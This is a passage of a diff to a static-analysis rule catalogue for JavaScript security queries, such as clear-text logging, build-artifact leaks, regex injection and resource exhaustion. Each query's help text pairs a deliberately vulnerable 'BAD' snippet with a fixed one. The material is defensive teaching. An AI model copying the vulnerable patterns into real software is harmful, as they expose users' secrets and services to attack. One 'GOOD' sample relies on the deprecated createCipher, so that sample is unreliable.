nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n" + "text" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n", + "markdown" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-640" ], - "description" : "Using the HTTP Host header to construct a link in an email can facilitate phishing\n attacks and leak password reset tokens.", - "id" : "js/host-header-forgery-in-email-generation", + "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-359", "external/cwe/cwe-532" ], + "description" : "Logging sensitive information without encryption or hashing can\n expose it to an attacker.", + "id" : "js/clear-text-logging", "kind" : "path-problem", - "name" : "Host header poisoning in email generation", + "name" : "Clear-text logging of sensitive information", "precision" : "high", "problem.severity" : "error", - "security-severity" : "9.8" + "security-severity" : "7.5" } }, { - "id" : "js/regex-injection", - "name" : "js/regex-injection", + "id" : "js/build-artifact-leak", + "name" : "js/build-artifact-leak", "shortDescription" : { - "text" : "Regular expression injection" + "text" : "Storage of sensitive information in build artifact" }, "fullDescription" : { - "text" : "User input should not be used in regular expressions without first being escaped, otherwise a malicious user may be able to inject an expression that could require exponential time on certain inputs." + "text" : "Including sensitive information in a build artifact can expose it to an attacker." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // BAD: Unsanitized user input is used to construct a regular expression\n var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // GOOD: User input is sanitized before constructing the regex\n var safeKey = _.escapeRegExp(key);\n var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // BAD: Unsanitized user input is used to construct a regular expression\n var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n var key = req.param(\"key\"), input = req.param(\"input\");\n\n // GOOD: User input is sanitized before constructing the regex\n var safeKey = _.escapeRegExp(key);\n var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + "text" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n \"process.env\": JSON.stringify(process.env)\n })\n ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n })\n ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n", + "markdown" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n \"process.env\": JSON.stringify(process.env)\n })\n ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n plugins: [\n new webpack.DefinePlugin({\n 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n })\n ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-730", "external/cwe/cwe-400" ], - "description" : "User input should not be used in regular expressions without first being escaped,\n otherwise a malicious user may be able to inject an expression that could require\n exponential time on certain inputs.", - "id" : "js/regex-injection", + "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ], + "description" : "Including sensitive information in a build artifact can\n expose it to an attacker.", + "id" : "js/build-artifact-leak", "kind" : "path-problem", - "name" : "Regular expression injection", + "name" : "Storage of sensitive information in build artifact", "precision" : "high", "problem.severity" : "error", "security-severity" : "7.5" } }, { - "id" : "js/server-crash", - "name" : "js/server-crash", + "id" : "js/clear-text-storage-of-sensitive-data", + "name" : "js/clear-text-storage-of-sensitive-data", "shortDescription" : { - "text" : "Server crash" + "text" : "Clear text storage of sensitive information" }, "fullDescription" : { - "text" : "A server that can be forced to crash may be vulnerable to denial-of-service attacks." + "text" : "Sensitive information stored without encryption or hashing can expose it to an attacker." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n if (!isValidPath(rootDir, req.query.filePath)) {\n throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n }\n // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n if (err) {\n console.error(\n `Server setup is corrupted, ${rootDir} cannot be accessed!`\n );\n res.status(500);\n res.end();\n return;\n }\n save(rootDir, req.query.path, req.body);\n res.status(200);\n res.end();\n });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n // ...\n try {\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n try {\n await fs.promises.access(rootDir);\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n", - "markdown" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n if (!isValidPath(rootDir, req.query.filePath)) {\n throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n }\n // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n if (err) {\n console.error(\n `Server setup is corrupted, ${rootDir} cannot be accessed!`\n );\n res.status(500);\n res.end();\n return;\n }\n save(rootDir, req.query.path, req.body);\n res.status(200);\n res.end();\n });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n fs.access(rootDir, (err) => {\n // ...\n try {\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n try {\n await fs.promises.access(rootDir);\n save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n res.status(200);\n res.end();\n } catch (e) {\n res.status(500);\n res.end();\n }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n" + "text" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // BAD: Setting a cookie value with cleartext sensitive data.\n res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n password = getPassword();\n\nfunction encrypt(text){\n var cipher = crypto.createCipher('aes-256-ctr', password);\n return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // GOOD: Encoding the value before setting it.\n res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n", + "markdown" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // BAD: Setting a cookie value with cleartext sensitive data.\n res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n password = getPassword();\n\nfunction encrypt(text){\n var cipher = crypto.createCipher('aes-256-ctr', password);\n return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n let pw = req.param(\"current_password\");\n // GOOD: Encoding the value before setting it.\n res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-248", "external/cwe/cwe-730" ], - "description" : "A server that can be forced to crash may be vulnerable to denial-of-service\n attacks.", - "id" : "js/server-crash", + "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ], + "description" : "Sensitive information stored without encryption or hashing can expose it to an\n attacker.", + "id" : "js/clear-text-storage-of-sensitive-data", "kind" : "path-problem", - "name" : "Server crash", - "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "7.5" - } - }, { - "id" : "js/missing-rate-limiting", - "name" : "js/missing-rate-limiting", - "shortDescription" : { - "text" : "Missing rate limiting" - }, - "fullDescription" : { - "text" : "An HTTP request handler that performs expensive operations without restricting the rate at which operations can be carried out is vulnerable to denial-of-service attacks." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "warning" - }, - "help" : { - "text" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n windowMs: 15 * 60 * 1000, // 15 minutes\n max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n windowMs: 15 * 60 * 1000, // 15 minutes\n max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n let path = req.params.path;\n if (isValidPath(path))\n res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" - }, - "properties" : { - "tags" : [ "security", "external/cwe/cwe-770", "external/cwe/cwe-307", "external/cwe/cwe-400" ], - "description" : "An HTTP request handler that performs expensive operations without\n restricting the rate at which operations can be carried out is vulnerable\n to denial-of-service attacks.", - "id" : "js/missing-rate-limiting", - "kind" : "problem", - "name" : "Missing rate limiting", + "name" : "Clear text storage of sensitive information", "precision" : "high", - "problem.severity" : "warning", + "problem.severity" : "error", "security-severity" : "7.5" } }, { - "id" : "js/resource-exhaustion", - "name" : "js/resource-exhaustion", + "id" : "js/xpath-injection", + "name" : "js/xpath-injection", "shortDescription" : { - "text" : "Resource exhaustion" + "text" : "XPath injection" }, "fullDescription" : { - "text" : "Allocating objects or timers with user-controlled sizes or durations can cause resource exhaustion." + "text" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of malicious code by the user." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet dogs = new Array(size).fill(\"dog\"); // GOOD\n\n\t// ... use the dogs\n});\n```\n\n## Example\nFinally, the following example lets a user choose a delay after which a function is executed:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tsetTimeout(f, delay); // BAD\n\n});\n\n```\nThis is problematic because a large delay essentially makes the application wait indefinitely before executing the function. Repeated registrations of such delays will therefore use up all of the memory in the application. A limit on the delay will prevent the attack:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar delay = parseInt(url.parse(req.url, true).query.delay);\n\n\tif (delay > 1000) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tsetTimeout(f, delay); // GOOD\n\n});\n\n```\n\n## References\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n", - "markdown" : "# Resource exhaustion\nApplications are constrained by how many resources they can make use of. Failing to respect these constraints may cause the application to be unresponsive or crash. It is therefore problematic if attackers can control the sizes or lifetimes of allocated objects.\n\n\n## Recommendation\nEnsure that attackers can not control object sizes and their lifetimes. If object sizes and lifetimes must be controlled by external parties, ensure you restrict the object sizes and lifetimes so that they are within acceptable ranges.\n\n\n## Example\nThe following example allocates a buffer with a user-controlled size.\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet buffer = Buffer.alloc(size); // BAD\n\n\t// ... use the buffer\n});\n```\nThis is problematic since an attacker can choose a size that makes the application run out of memory. Even worse, in older versions of Node.js, this could leak confidential memory. To prevent such attacks, limit the buffer size:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tif (size > 1024) {\n\t\tres.statusCode = 400;\n\t\tres.end(\"Bad request.\");\n\t\treturn;\n\t}\n\n\tlet buffer = Buffer.alloc(size); // GOOD\n\n\t// ... use the buffer\n});\n```\n\n## Example\nAs another example, consider an application that allocates an array with a user-controlled size, and then fills it with values:\n\n\n```javascript\nvar http = require(\"http\"),\n url = require(\"url\");\n\nvar server = http.createServer(function(req, res) {\n\tvar size = parseInt(url.parse(req.url, true).query.size);\n\n\tlet dogs = new Array(size).fill(\"dog\"); // BAD\n\n\t// ... use the dog\n});\n```\nThe allocation of the array itself is not problematic since arrays are allocated sparsely, but the subsequent filling of the array will take a long time, causing the application to be unresponsive, or even run out of memory. Again, a limit on the size will prevent the attack:\n\n\n```javascript\nvar http = 